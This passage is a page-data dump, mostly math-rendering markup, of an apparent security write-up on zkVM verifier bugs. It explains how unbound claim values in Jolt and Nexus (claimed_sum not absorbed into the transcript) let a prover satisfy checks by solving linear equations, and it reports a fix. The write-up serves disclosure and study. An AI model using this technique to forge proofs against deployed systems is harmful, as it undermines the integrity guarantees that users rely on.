tyle":3794},[3793],[],{"type":24,"tag":83,"props":116072,"children":116074},{"className":116073},[3799,3800,3801,3802],[116075],{"type":24,"tag":83,"props":116076,"children":116078},{"className":116077},[3753,3802],[116079],{"type":24,"tag":83,"props":116080,"children":116082},{"className":116081},[3753,29,3802],[116083],{"type":24,"tag":83,"props":116084,"children":116086},{"className":116085},[3753,3802],[116087],{"type":29,"value":115852},{"type":24,"tag":83,"props":116089,"children":116091},{"className":116090},[21485],[116092],{"type":29,"value":21488},{"type":24,"tag":83,"props":116094,"children":116096},{"className":116095},[3779],[116097],{"type":24,"tag":83,"props":116098,"children":116100},{"className":116099,"style":92843},[3784],[116101],{"type":24,"tag":83,"props":116102,"children":116103},{},[],{"type":24,"tag":83,"props":116105,"children":116107},{"className":116106,"style":3931},[3833],[],{"type":24,"tag":83,"props":116109,"children":116111},{"className":116110},[3936],[116112],{"type":29,"value":1275},{"type":24,"tag":83,"props":116114,"children":116116},{"className":116115,"style":3931},[3833],[],{"type":24,"tag":83,"props":116118,"children":116120},{"className":116119},[3742],[116121,116125,116135,116140],{"type":24,"tag":83,"props":116122,"children":116124},{"className":116123,"style":94173},[3747],[],{"type":24,"tag":83,"props":116126,"children":116128},{"className":116127},[3753,29],[116129],{"type":24,"tag":83,"props":116130,"children":116132},{"className":116131},[3753],[116133],{"type":29,"value":116134},"expected",{"type":24,"tag":83,"props":116136,"children":116138},{"className":116137,"style":92760},[3753],[116139],{"type":29,"value":2827},{"type":24,"tag":83,"props":116141,"children":116143},{"className":116142},[3753,29],[116144],{"type":24,"tag":83,"props":116145,"children":116147},{"className":116146},[3753],[116148],{"type":29,"value":37271},{"type":29,"value":116150}," (from PCS opening), this becomes ",{"type":24,"tag":32,"props":116152,"children":116154},{"className":116153},[3726,3727],[116155],{"type":24,"tag":83,"props":116156,"children":116158},{"className":116157},[3732],[116159],{"type":24,"tag":83,"props":116160,"children":116162},{"className":116161,"ariaHidden":1237},[3737],[116163,116189,116215,116241],{"type":24,"tag":83,"props":116164,"children":116166},{"className":116165},[3742],[116167,116171,116176,116180,116185],{"type":24,"tag":83,"props":116168,"children":116170},{"className":116169,"style":114663},[3747],[],{"type":24,"tag":83,"props":116172,"children":116174},{"className":116173},[3753,21328],[116175],{"type":29,"value":2033},{"type":24,"tag":83,"props":116177,"children":116179},{"className":116178,"style":3834},[3833],[],{"type":24,"tag":83,"props":116181,"children":116183},{"className":116182},[3839],[116184],{"type":29,"value":110842},{"type":24,"tag":83,"props":116186,"children":116188},{"className":116187,"style":3834},[3833],[],{"type":24,"tag":83,"props":116190,"children":116192},{"className":116191},[3742],[116193,116197,116202,116206,116211],{"type":24,"tag":83,"props":116194,"children":116196},{"className":116195,"style":114692},[3747],[],{"type":24,"tag":83,"props":116198,"children":116200},{"className":116199,"style":92994},[3753,21328],[116201],{"type":29,"value":92997},{"type":24,"tag":83,"props":116203,"children":116205},{"className":116204,"style":3834},[3833],[],{"type":24,"tag":83,"props":116207,"children":116209},{"className":116208},[3839],[116210],{"type":29,"value":4126},{"type":24,"tag":83,"props":116212,"children":116214},{"className":116213,"style":3834},[3833],[],{"type":24,"tag":83,"props":116216,"children":116218},{"className":116217},[3742],[116219,116223,116228,116232,116237],{"type":24,"tag":83,"props":116220,"children":116222},{"className":116221,"style":92675},[3747],[],{"type":24,"tag":83,"props":116224,"children":116226},{"className":116225},[3753,21328],[116227],{"type":29,"value":2968},{"type":24,"tag":83,"props":116229,"children":116231},{"className":116230,"style":3931},[3833],[],{"type":24,"tag":83,"props":116233,"children":116235},{"className":116234},[3936],[116236],{"type":29,"value":1275},{"type":24,"tag":83,"props":116238,"children":116240},{"className":116239,"style":3931},[3833],[],{"type":24,"tag":83,"props":116242,"children":116244},{"className":116243},[3742],[116245,116249,116258,116263],{"type":24,"tag":83,"props":116246,"children":116248},{"className":116247,"style":94173},[3747],[],{"type":24,"tag":83,"props":116250,"children":116252},{"className":116251},[3753,29],[116253],{"type":24,"tag":83,"props":116254,"children":116256},{"className":116255},[3753],[116257],{"type":29,"value":116134},{"type":24,"tag":83,"props":116259,"children":116261},{"className":116260,"style":92760},[3753],[116262],{"type":29,"value":2827},{"type":24,"tag":83,"props":116264,"children":116266},{"className":116265},[3753,29],[116267],{"type":24,"tag":83,"props":116268,"children":116270},{"className":116269},[3753],[116271],{"type":29,"value":37271},{"type":29,"value":161},{"type":24,"tag":25,"props":116274,"children":116275},{},[116276],{"type":29,"value":116277},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":24,"tag":25,"props":116279,"children":116280},{},[116281],{"type":29,"value":116282},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":24,"tag":25,"props":116284,"children":116285},{},[116286,116291,116293],{"type":24,"tag":2040,"props":116287,"children":116288},{},[116289],{"type":29,"value":116290},"Status:",{"type":29,"value":116292}," Fixed on October 3, 2025 via ",{"type":24,"tag":2033,"props":116294,"children":116297},{"href":116295,"rel":116296},"https://github.com/a16z/jolt/pull/981",[2037],[116298],{"type":29,"value":116299},"PR #981",{"type":24,"tag":18531,"props":116301,"children":116302},{},[],{"type":24,"tag":1818,"props":116304,"children":116306},{"id":116305},"nexus",[116307],{"type":29,"value":107399},{"type":24,"tag":25,"props":116309,"children":116310},{},[116311],{"type":29,"value":116312},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":24,"tag":25,"props":116314,"children":116315},{},[116316,116318,116323],{"type":29,"value":116317},"Nexus splits verification into ",{"type":24,"tag":2040,"props":116319,"children":116320},{},[116321],{"type":29,"value":116322},"components",{"type":29,"value":116324}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":24,"tag":25,"props":116326,"children":116327},{},[116328,116330,116335],{"type":29,"value":116329},"Each component emits and consumes lookup tuples. The component's ",{"type":24,"tag":32,"props":116331,"children":116333},{"className":116332},[],[116334],{"type":29,"value":114444},{"type":29,"value":116336}," summarizes its net contribution:",{"type":24,"tag":25,"props":116338,"children":116339},{},[116340],{"type":24,"tag":32,"props":116341,"children":116343},{"className":116342},[3726,3727],[116344],{"type":24,"tag":83,"props":116345,"children":116347},{"className":116346},[3732],[116348],{"type":24,"tag":83,"props":116349,"children":116351},{"className":116350,"ariaHidden":1237},[3737],[116352,116448,116697],{"type":24,"tag":83,"props":116353,"children":116355},{"className":116354},[3742],[116356,116360,116369,116374,116435,116439,116444],{"type":24,"tag":83,"props":116357,"children":116359},{"className":116358,"style":94173},[3747],[],{"type":24,"tag":83,"props":116361,"children":116363},{"className":116362},[3753,29],[116364],{"type":24,"tag":83,"props":116365,"children":116367},{"className":116366},[3753],[116368],{"type":29,"value":113673},{"type":24,"tag":83,"props":116370,"children":116372},{"className":116371,"style":92760},[3753],[116373],{"type":29,"value":2827},{"type":24,"tag":83,"props":116375,"children":116377},{"className":116376},[3753],[116378,116387],{"type":24,"tag":83,"props":116379,"children":116381},{"className":116380},[3753,29],[116382],{"type":24,"tag":83,"props":116383,"children":116385},{"className":116384},[3753],[116386],{"type":29,"value":76347},{"type":24,"tag":83,"props":116388,"children":116390},{"className":116389},[3769],[116391],{"type":24,"tag":83,"props":116392,"children":116394},{"className":116393},[3774,21382],[116395,116424],{"type":24,"tag":83,"props":116396,"children":116398},{"className":116397},[3779],[116399,116419],{"type":24,"tag":83,"props":116400,"children":116402},{"className":116401,"style":93289},[3784],[116403],{"type":24,"tag":83,"props":116404,"children":116405},{"style":113710},[116406,116410],{"type":24,"tag":83,"props":116407,"children":116409},{"className":116408,"style":3794},[3793],[],{"type":24,"tag":83,"props":116411,"children":116413},{"className":116412},[3799,3800,3801,3802],[116414],{"type":24,"tag":83,"props":116415,"children":116417},{"className":116416},[3753,21328,3802],[116418],{"type":29,"value":3482},{"type":24,"tag":83,"props":116420,"children":116422},{"className":116421},[21485],[116423],{"type":29,"value":21488},{"type":24,"tag":83,"props":116425,"children":116427},{"className":116426},[3779],[116428],{"type":24,"tag":83,"props":116429,"children":116431},{"className":116430,"style":92843},[3784],[116432],{"type":24,"tag":83,"props":116433,"children":116434},{},[],{"type":24,"tag":83,"props":116436,"children":116438},{"className":116437,"style":3931},[3833],[],{"type":24,"tag":83,"props":116440,"children":116442},{"className":116441},[3936],[116443],{"type":29,"value":1275},{"type":24,"tag":83,"props":116445,"children":116447},{"className":116446,"style":3931},[3833],[],{"type":24,"tag":83,"props":116449,"children":116451},{"className":116450},[3742],[116452,116457,116514,116518,116684,116688,116693],{"type":24,"tag":83,"props":116453,"children":116456},{"className":116454,"style":116455},[3747],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":24,"tag":83,"props":116458,"children":116460},{"className":116459},[21364],[116461,116466],{"type":24,"tag":83,"props":116462,"children":116464},{"className":116463,"style":21371},[21364,21369,21370],[116465],{"type":29,"value":108375},{"type":24,"tag":83,"props":116467,"children":116469},{"className":116468},[3769],[116470],{"type":24,"tag":83,"props":116471,"children":116473},{"className":116472},[3774,21382],[116474,116503],{"type":24,"tag":83,"props":116475,"children":116477},{"className":116476},[3779],[116478,116498],{"type":24,"tag":83,"props":116479,"children":116481},{"className":116480,"style":113787},[3784],[116482],{"type":24,"tag":83,"props":116483,"children":116484},{"style":21395},[116485,116489],{"type":24,"tag":83,"props":116486,"children":116488},{"className":116487,"style":3794},[3793],[],{"type":24,"tag":83,"props":116490,"children":116492},{"className":116491},[3799,3800,3801,3802],[116493],{"type":24,"tag":83,"props":116494,"children":116496},{"className":116495,"style":113803},[3753,21328,3802],[116497],{"type":29,"value":8401},{"type":24,"tag":83,"props":116499,"children":116501},{"className":116500},[21485],[116502],{"type":29,"value":21488},{"type":24,"tag":83,"props":116504,"children":116506},{"className":116505},[3779],[116507],{"type":24,"tag":83,"props":116508,"children":116510},{"className":116509,"style":113818},[3784],[116511],{"type":24,"tag":83,"props":116512,"children":116513},{},[],{"type":24,"tag":83,"props":116515,"children":116517},{"className":116516,"style":3872},[3833],[],{"type":24,"tag":83,"props":116519,"children":116521},{"className":116520},[3753],[116522,116526,116680],{"type":24,"tag":83,"props":116523,"children":116525},{"className":116524},[21457,113098],[],{"type":24,"tag":83,"props":116527,"children":116529},{"className":116528},[113103],[116530],{"type":24,"tag":83,"props":116531,"children":116533},{"className":116532},[3774,21382],[116534,116668],{"type":24,"tag":83,"props":116535,"children":116537},{"className":116536},[3779],[116538,116663],{"type":24,"tag":83,"props":116539,"children":116541},{"className":116540,"style":113116},[3784],[116542,116632,116643],{"type":24,"tag":83,"props":116543,"children":116544},{"style":113120},[116545,116549],{"type":24,"tag":83,"props":116546,"children":116548},{"className":116547,"style":111751},[3793],[],{"type":24,"tag":83,"props":116550,"children":116552},{"className":116551},[3799,3800,3801,3802],[116553],{"type":24,"tag":83,"props":116554,"children":116556},{"className":116555},[3753,3802],[116557,116562,116567],{"type":24,"tag":83,"props":116558,"children":116560},{"className":116559,"style":113137},[3753,21328,3802],[116561],{"type":29,"value":113140},{"type":24,"tag":83,"props":116563,"children":116565},{"className":116564},[3839,3802],[116566],{"type":29,"value":3813},{"type":24,"tag":83,"props":116568,"children":116570},{"className":116569},[3753,3802],[116571,116581],{"type":24,"tag":83,"props":116572,"children":116574},{"className":116573},[3753,29,3802],[116575],{"type":24,"tag":83,"props":116576,"children":116578},{"className":116577},[3753,3802],[116579],{"type":29,"value":116580},"produced",{"type":24,"tag":83,"props":116582,"children":116584},{"className":116583},[3769],[116585],{"type":24,"tag":83,"props":116586,"children":116588},{"className":116587},[3774,21382],[116589,116620],{"type":24,"tag":83,"props":116590,"children":116592},{"className":116591},[3779],[116593,116615],{"type":24,"tag":83,"props":116594,"children":116597},{"className":116595,"style":116596},[3784],"height:0.2052em;",[116598],{"type":24,"tag":83,"props":116599,"children":116601},{"style":116600},"top:-2.2341em;margin-right:0.0714em;",[116602,116606],{"type":24,"tag":83,"props":116603,"children":116605},{"className":116604,"style":108440},[3793],[],{"type":24,"tag":83,"props":116607,"children":116609},{"className":116608},[3799,108445,108446,3802],[116610],{"type":24,"tag":83,"props":116611,"children":116613},{"className":116612,"style":113803},[3753,21328,3802],[116614],{"type":29,"value":8401},{"type":24,"tag":83,"props":116616,"children":116618},{"className":116617},[21485],[116619],{"type":29,"value":21488},{"type":24,"tag":83,"props":116621,"children":116623},{"className":116622},[3779],[116624],{"type":24,"tag":83,"props":116625,"children":116628},{"className":116626,"style":116627},[3784],"height:0.4048em;",[116629],{"type":24,"tag":83,"props":116630,"children":116631},{},[],{"type":24,"tag":83,"props":116633,"children":116634},{"style":113153},[116635,116639],{"type":24,"tag":83,"props":116636,"children":116638},{"className":116637,"style":111751},[3793],[],{"type":24,"tag":83,"props":116640,"children":116642},{"className":116641,"style":113163},[113162],[],{"type":24,"tag":83,"props":116644,"children":116645},{"style":113167},[116646,116650],{"type":24,"tag":83,"props":116647,"children":116649},{"className":116648,"style":111751},[3793],[],{"type":24,"tag":83,"props":116651,"children":116653},{"className":116652},[3799,3800,3801,3802],[116654],{"type":24,"tag":83,"props":116655,"children":116657},{"className":116656},[3753,3802],[116658],{"type":24,"tag":83,"props":116659,"children":116661},{"className":116660},[3753,3802],[116662],{"type":29,"value":3756},{"type":24,"tag":83,"props":116664,"children":116666},{"className":116665},[21485],[116667],{"type":29,"value":21488},{"type":24,"tag":83,"props":116669,"children":116671},{"className":116670},[3779],[116672],{"type":24,"tag":83,"props":116673,"children":116676},{"className":116674,"style":116675},[3784],"height:0.6283em;",[116677],{"type":24,"tag":83,"props":116678,"children":116679},{},[],{"type":24,"tag":83,"props":116681,"children":116683},{"className":116682},[21479,113098],[],{"type":24,"tag":83,"props":116685,"children":116687},{"className":116686,"style":3834},[3833],[],{"type":24,"tag":83,"props":116689,"children":116691},{"className":116690},[3839],[116692],{"type":29,"value":3813},{"type":24,"tag":83,"props":116694,"children":116696},{"className":116695,"style":3834},[3833],[],{"type":24,"tag":83,"props":116698,"children":116700},{"className":116699},[3742],[116701,116705,116762,116766],{"type":24,"tag":83,"props":116702,"children":116704},{"className":116703,"style":114012},[3747],[],{"type":24,"tag":83,"props":116706,"children":116708},{"className":116707},[21364],[116709,116714],{"type":24,"tag":83,"props":116710,"children":116712},{"className":116711,"style":21371},[21364,21369,21370],[116713],{"type":29,"value":108375},{"type":24,"tag":83,"props":116715,"children":116717},{"className":116716},[3769],[116718],{"type":24,"tag":83,"props":116719,"children":116721},{"className":116720},[3774,21382],[116722,116751],{"type":24,"tag":83,"props":116723,"children":116725},{"className":116724},[3779],[116726,116746],{"type":24,"tag":83,"props":116727,"children":116729},{"className":116728,"style":113252},[3784],[116730],{"type":24,"tag":83,"props":116731,"children":116732},{"style":21395},[116733,116737],{"type":24,"tag":83,"props":116734,"children":116736},{"className":116735,"style":3794},[3793],[],{"type":24,"tag":83,"props":116738,"children":116740},{"className":116739},[3799,3800,3801,3802],[116741],{"type":24,"tag":83,"props":116742,"children":116744},{"className":116743,"style":94189},[3753,21328,3802],[116745],{"type":29,"value":88397},{"type":24,"tag":83,"props":116747,"children":116749},{"className":116748},[21485],[116750],{"type":29,"value":21488},{"type":24,"tag":83,"props":116752,"children":116754},{"className":116753},[3779],[116755],{"type":24,"tag":83,"props":116756,"children":116758},{"className":116757,"style":114067},[3784],[116759],{"type":24,"tag":83,"props":116760,"children":116761},{},[],{"type":24,"tag":83,"props":116763,"children":116765},{"className":116764,"style":3872},[3833],[],{"type":24,"tag":83,"props":116767,"children":116769},{"className":116768},[3753],[116770,116774,116924],{"type":24,"tag":83,"props":116771,"children":116773},{"className":116772},[21457,113098],[],{"type":24,"tag":83,"props":116775,"children":116777},{"className":116776},[113103],[116778],{"type":24,"tag":83,"props":116779,"children":116781},{"className":116780},[3774,21382],[116782,116913],{"type":24,"tag":83,"props":116783,"children":116785},{"className":116784},[3779],[116786,116908],{"type":24,"tag":83,"props":116787,"children":116789},{"className":116788,"style":113116},[3784],[116790,116877,116888],{"type":24,"tag":83,"props":116791,"children":116792},{"style":113120},[116793,116797],{"type":24,"tag":83,"props":116794,"children":116796},{"className":116795,"style":111751},[3793],[],{"type":24,"tag":83,"props":116798,"children":116800},{"className":116799},[3799,3800,3801,3802],[116801],{"type":24,"tag":83,"props":116802,"children":116804},{"className":116803},[3753,3802],[116805,116810,116815],{"type":24,"tag":83,"props":116806,"children":116808},{"className":116807,"style":113137},[3753,21328,3802],[116809],{"type":29,"value":113140},{"type":24,"tag":83,"props":116811,"children":116813},{"className":116812},[3839,3802],[116814],{"type":29,"value":3813},{"type":24,"tag":83,"props":116816,"children":116818},{"className":116817},[3753,3802],[116819,116829],{"type":24,"tag":83,"props":116820,"children":116822},{"className":116821},[3753,29,3802],[116823],{"type":24,"tag":83,"props":116824,"children":116826},{"className":116825},[3753,3802],[116827],{"type":29,"value":116828},"consumed",{"type":24,"tag":83,"props":116830,"children":116832},{"className":116831},[3769],[116833],{"type":24,"tag":83,"props":116834,"children":116836},{"className":116835},[3774,21382],[116837,116866],{"type":24,"tag":83,"props":116838,"children":116840},{"className":116839},[3779],[116841,116861],{"type":24,"tag":83,"props":116842,"children":116844},{"className":116843,"style":111912},[3784],[116845],{"type":24,"tag":83,"props":116846,"children":116847},{"style":114157},[116848,116852],{"type":24,"tag":83,"props":116849,"children":116851},{"className":116850,"style":108440},[3793],[],{"type":24,"tag":83,"props":116853,"children":116855},{"className":116854},[3799,108445,108446,3802],[116856],{"type":24,"tag":83,"props":116857,"children":116859},{"className":116858,"style":94189},[3753,21328,3802],[116860],{"type":29,"value":88397},{"type":24,"tag":83,"props":116862,"children":116864},{"className":116863},[21485],[116865],{"type":29,"value":21488},{"type":24,"tag":83,"props":116867,"children":116869},{"className":116868},[3779],[116870],{"type":24,"tag":83,"props":116871,"children":116873},{"className":116872,"style":114184},[3784],[116874],{"type":24,"tag":83,"props":116875,"children":116876},{},[],{"type":24,"tag":83,"props":116878,"children":116879},{"style":113153},[116880,116884],{"type":24,"tag":83,"props":116881,"children":116883},{"className":116882,"style":111751},[3793],[],{"type":24,"tag":83,"props":116885,"children":116887},{"className":116886,"style":113163},[113162],[],{"type":24,"tag":83,"props":116889,"children":116890},{"style":113167},[116891,116895],{"type":24,"tag":83,"props":116892,"children":116894},{"className":116893,"style":111751},[3793],[],{"type":24,"tag":83,"props":116896,"children":116898},{"className":116897},[3799,3800,3801,3802],[116899],{"type":24,"tag":83,"props":116900,"children":116902},{"className":116901},[3753,3802],[116903],{"type":24,"tag":83,"props":116904,"children":116906},{"className":116905},[3753,3802],[116907],{"type":29,"value":3756},{"type":24,"tag":83,"props":116909,"children":116911},{"className":116910},[21485],[116912],{"type":29,"value":21488},{"type":24,"tag":83,"props":116914,"children":116916},{"className":116915},[3779],[116917],{"type":24,"tag":83,"props":116918,"children":116920},{"className":116919,"style":114232},[3784],[116921],{"type":24,"tag":83,"props":116922,"children":116923},{},[],{"type":24,"tag":83,"props":116925,"children":116927},{"className":116926},[21479,113098],[],{"type":24,"tag":25,"props":116929,"children":116930},{},[116931,116933,116938],{"type":29,"value":116932},"All ",{"type":24,"tag":32,"props":116934,"children":116936},{"className":116935},[],[116937],{"type":29,"value":114444},{"type":29,"value":116939}," values must sum to zero (everything produced is consumed).",{"type":24,"tag":25,"props":116941,"children":116942},{},[116943,116945,116950],{"type":29,"value":116944},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":24,"tag":2040,"props":116946,"children":116947},{},[116948],{"type":29,"value":116949},"OODS (Out-of-Domain Sampling)",{"type":29,"value":116951}," test.",{"type":24,"tag":25,"props":116953,"children":116954},{},[116955],{"type":24,"tag":2040,"props":116956,"children":116957},{},[116958],{"type":29,"value":114996},{"type":24,"tag":73,"props":116960,"children":116962},{"code":116961},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[116963],{"type":24,"tag":32,"props":116964,"children":116965},{"__ignoreMap":7},[116966],{"type":29,"value":116961},{"type":24,"tag":25,"props":116968,"children":116969},{},[116970,116972,116977],{"type":29,"value":116971},"The",{"type":24,"tag":32,"props":116973,"children":116975},{"className":116974},[],[116976],{"type":29,"value":114444},{"type":29,"value":116978}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":24,"tag":25,"props":116980,"children":116981},{},[116982],{"type":24,"tag":2510,"props":116983,"children":116986},{"alt":116984,"src":116985},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":24,"tag":25,"props":116988,"children":116989},{},[116990,116992,117001],{"type":29,"value":116991},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":24,"tag":2040,"props":116993,"children":116994},{},[116995,116996],{"type":29,"value":111451},{"type":24,"tag":32,"props":116997,"children":116999},{"className":116998},[],[117000],{"type":29,"value":114444},{"type":29,"value":195},{"type":24,"tag":25,"props":117003,"children":117004},{},[117005],{"type":29,"value":117006},"The composition polynomial is a random linear combination of constraints:",{"type":24,"tag":25,"props":117008,"children":117009},{},[117010],{"type":24,"tag":32,"props":117011,"children":117013},{"className":117012},[3726,3727],[117014],{"type":24,"tag":83,"props":117015,"children":117017},{"className":117016},[3732],[117018],{"type":24,"tag":83,"props":117019,"children":117021},{"className":117020,"ariaHidden":1237},[3737],[117022,117063,117202],{"type":24,"tag":83,"props":117023,"children":117025},{"className":117024},[3742],[117026,117030,117035,117040,117045,117050,117054,117059],{"type":24,"tag":83,"props":117027,"children":117029},{"className":117028,"style":3854},[3747],[],{"type":24,"tag":83,"props":117031,"children":117033},{"className":117032,"style":21860},[3753,21328],[117034],{"type":29,"value":115809},{"type":24,"tag":83,"props":117036,"children":117038},{"className":117037},[21457],[117039],{"type":29,"value":558},{"type":24,"tag":83,"props":117041,"children":117043},{"className":117042},[3753,21328],[117044],{"type":29,"value":19015},{"type":24,"tag":83,"props":117046,"children":117048},{"className":117047},[21479],[117049],{"type":29,"value":2872},{"type":24,"tag":83,"props":117051,"children":117053},{"className":117052,"style":3931},[3833],[],{"type":24,"tag":83,"props":117055,"children":117057},{"className":117056},[3936],[117058],{"type":29,"value":1275},{"type":24,"tag":83,"props":117060,"children":117062},{"className":117061,"style":3931},[3833],[],{"type":24,"tag":83,"props":117064,"children":117066},{"className":117065},[3742],[117067,117071,117128,117132,117189,117193,117198],{"type":24,"tag":83,"props":117068,"children":117070},{"className":117069,"style":115213},[3747],[],{"type":24,"tag":83,"props":117072,"children":117074},{"className":117073},[21364],[117075,117080],{"type":24,"tag":83,"props":117076,"children":117078},{"className":117077,"style":21371},[21364,21369,21370],[117079],{"type":29,"value":108375},{"type":24,"tag":83,"props":117081,"children":117083},{"className":117082},[3769],[117084],{"type":24,"tag":83,"props":117085,"children":117087},{"className":117086},[3774,21382],[117088,117117],{"type":24,"tag":83,"props":117089,"children":117091},{"className":117090},[3779],[117092,117112],{"type":24,"tag":83,"props":117093,"children":117095},{"className":117094,"style":113787},[3784],[117096],{"type":24,"tag":83,"props":117097,"children":117098},{"style":21395},[117099,117103],{"type":24,"tag":83,"props":117100,"children":117102},{"className":117101,"style":3794},[3793],[],{"type":24,"tag":83,"props":117104,"children":117106},{"className":117105},[3799,3800,3801,3802],[117107],{"type":24,"tag":83,"props":117108,"children":117110},{"className":117109},[3753,21328,3802],[117111],{"type":29,"value":3482},{"type":24,"tag":83,"props":117113,"children":117115},{"className":117114},[21485],[117116],{"type":29,"value":21488},{"type":24,"tag":83,"props":117118,"children":117120},{"className":117119},[3779],[117121],{"type":24,"tag":83,"props":117122,"children":117124},{"className":117123,"style":114067},[3784],[117125],{"type":24,"tag":83,"props":117126,"children":117127},{},[],{"type":24,"tag":83,"props":117129,"children":117131},{"className":117130,"style":3872},[3833],[],{"type":24,"tag":83,"props":117133,"children":117135},{"className":117134},[3753],[117136,117141],{"type":24,"tag":83,"props":117137,"children":117139},{"className":117138,"style":114668},[3753,21328],[117140],{"type":29,"value":114671},{"type":24,"tag":83,"props":117142,"children":117144},{"className":117143},[3769],[117145],{"type":24,"tag":83,"props":117146,"children":117148},{"className":117147},[3774,21382],[117149,117178],{"type":24,"tag":83,"props":117150,"children":117152},{"className":117151},[3779],[117153,117173],{"type":24,"tag":83,"props":117154,"children":117156},{"className":117155,"style":93289},[3784],[117157],{"type":24,"tag":83,"props":117158,"children":117159},{"style":115303},[117160,117164],{"type":24,"tag":83,"props":117161,"children":117163},{"className":117162,"style":3794},[3793],[],{"type":24,"tag":83,"props":117165,"children":117167},{"className":117166},[3799,3800,3801,3802],[117168],{"type":24,"tag":83,"props":117169,"children":117171},{"className":117170},[3753,21328,3802],[117172],{"type":29,"value":3482},{"type":24,"tag":83,"props":117174,"children":117176},{"className":117175},[21485],[117177],{"type":29,"value":21488},{"type":24,"tag":83,"props":117179,"children":117181},{"className":117180},[3779],[117182],{"type":24,"tag":83,"props":117183,"children":117185},{"className":117184,"style":92843},[3784],[117186],{"type":24,"tag":83,"props":117187,"children":117188},{},[],{"type":24,"tag":83,"props":117190,"children":117192},{"className":117191,"style":3834},[3833],[],{"type":24,"tag":83,"props":117194,"children":117196},{"className":117195},[3839],[117197],{"type":29,"value":110842},{"type":24,"tag":83,"props":117199,"children":117201},{"className":117200,"style":3834},[3833],[],{"type":24,"tag":83,"props":117203,"children":117205},{"className":117204},[3742],[117206,117210,117272,117277,117282],{"type":24,"tag":83,"props":117207,"children":117209},{"className":117208,"style":3854},[3747],[],{"type":24,"tag":83,"props":117211,"children":117213},{"className":117212},[3753],[117214,117224],{"type":24,"tag":83,"props":117215,"children":117217},{"className":117216},[3753,29],[117218],{"type":24,"tag":83,"props":117219,"children":117221},{"className":117220},[3753],[117222],{"type":29,"value":117223},"constraint",{"type":24,"tag":83,"props":117225,"children":117227},{"className":117226},[3769],[117228],{"type":24,"tag":83,"props":117229,"children":117231},{"className":117230},[3774,21382],[117232,117261],{"type":24,"tag":83,"props":117233,"children":117235},{"className":117234},[3779],[117236,117256],{"type":24,"tag":83,"props":117237,"children":117239},{"className":117238,"style":93289},[3784],[117240],{"type":24,"tag":83,"props":117241,"children":117242},{"style":113710},[117243,117247],{"type":24,"tag":83,"props":117244,"children":117246},{"className":117245,"style":3794},[3793],[],{"type":24,"tag":83,"props":117248,"children":117250},{"className":117249},[3799,3800,3801,3802],[117251],{"type":24,"tag":83,"props":117252,"children":117254},{"className":117253},[3753,21328,3802],[117255],{"type":29,"value":3482},{"type":24,"tag":83,"props":117257,"children":117259},{"className":117258},[21485],[117260],{"type":29,"value":21488},{"type":24,"tag":83,"props":117262,"children":117264},{"className":117263},[3779],[117265],{"type":24,"tag":83,"props":117266,"children":117268},{"className":117267,"style":92843},[3784],[117269],{"type":24,"tag":83,"props":117270,"children":117271},{},[],{"type":24,"tag":83,"props":117273,"children":117275},{"className":117274},[21457],[117276],{"type":29,"value":558},{"type":24,"tag":83,"props":117278,"children":117280},{"className":117279},[3753,21328],[117281],{"type":29,"value":19015},{"type":24,"tag":83,"props":117283,"children":117285},{"className":117284},[21479],[117286],{"type":29,"value":2872},{"type":24,"tag":25,"props":117288,"children":117289},{},[117290,117292,117297,117299,117304],{"type":29,"value":117291},"Since each constraint is linear in its ",{"type":24,"tag":32,"props":117293,"children":117295},{"className":117294},[],[117296],{"type":29,"value":114444},{"type":29,"value":117298},", the overall composition polynomial is linear in all ",{"type":24,"tag":32,"props":117300,"children":117302},{"className":117301},[],[117303],{"type":29,"value":114444},{"type":29,"value":117305}," values.",{"type":24,"tag":25,"props":117307,"children":117308},{},[117309,117311],{"type":29,"value":117310},"The verifier checks ",{"type":24,"tag":32,"props":117312,"children":117314},{"className":117313},[3726,3727],[117315],{"type":24,"tag":83,"props":117316,"children":117318},{"className":117317},[3732],[117319],{"type":24,"tag":83,"props":117320,"children":117322},{"className":117321,"ariaHidden":1237},[3737],[117323,117384],{"type":24,"tag":83,"props":117324,"children":117326},{"className":117325},[3742],[117327,117331,117336,117341,117351,117356,117366,117371,117375,117380],{"type":24,"tag":83,"props":117328,"children":117330},{"className":117329,"style":92702},[3747],[],{"type":24,"tag":83,"props":117332,"children":117334},{"className":117333,"style":21860},[3753,21328],[117335],{"type":29,"value":115809},{"type":24,"tag":83,"props":117337,"children":117339},{"className":117338},[21457],[117340],{"type":29,"value":558},{"type":24,"tag":83,"props":117342,"children":117344},{"className":117343},[3753,29],[117345],{"type":24,"tag":83,"props":117346,"children":117348},{"className":117347},[3753],[117349],{"type":29,"value":117350},"oods",{"type":24,"tag":83,"props":117352,"children":117354},{"className":117353,"style":92760},[3753],[117355],{"type":29,"value":2827},{"type":24,"tag":83,"props":117357,"children":117359},{"className":117358},[3753,29],[117360],{"type":24,"tag":83,"props":117361,"children":117363},{"className":117362},[3753],[117364],{"type":29,"value":117365},"point",{"type":24,"tag":83,"props":117367,"children":117369},{"className":117368},[21479],[117370],{"type":29,"value":2872},{"type":24,"tag":83,"props":117372,"children":117374},{"className":117373,"style":3931},[3833],[],{"type":24,"tag":83,"props":117376,"children":117378},{"className":117377},[3936],[117379],{"type":29,"value":1275},{"type":24,"tag":83,"props":117381,"children":117383},{"className":117382,"style":3931},[3833],[],{"type":24,"tag":83,"props":117385,"children":117387},{"className":117386},[3742],[117388,117392],{"type":24,"tag":83,"props":117389,"children":117391},{"className":117390,"style":114635},[3747],[],{"type":24,"tag":83,"props":117393,"children":117395},{"className":117394},[3753,29],[117396],{"type":24,"tag":83,"props":117397,"children":117399},{"className":117398},[3753],[117400],{"type":29,"value":116134},{"type":24,"tag":25,"props"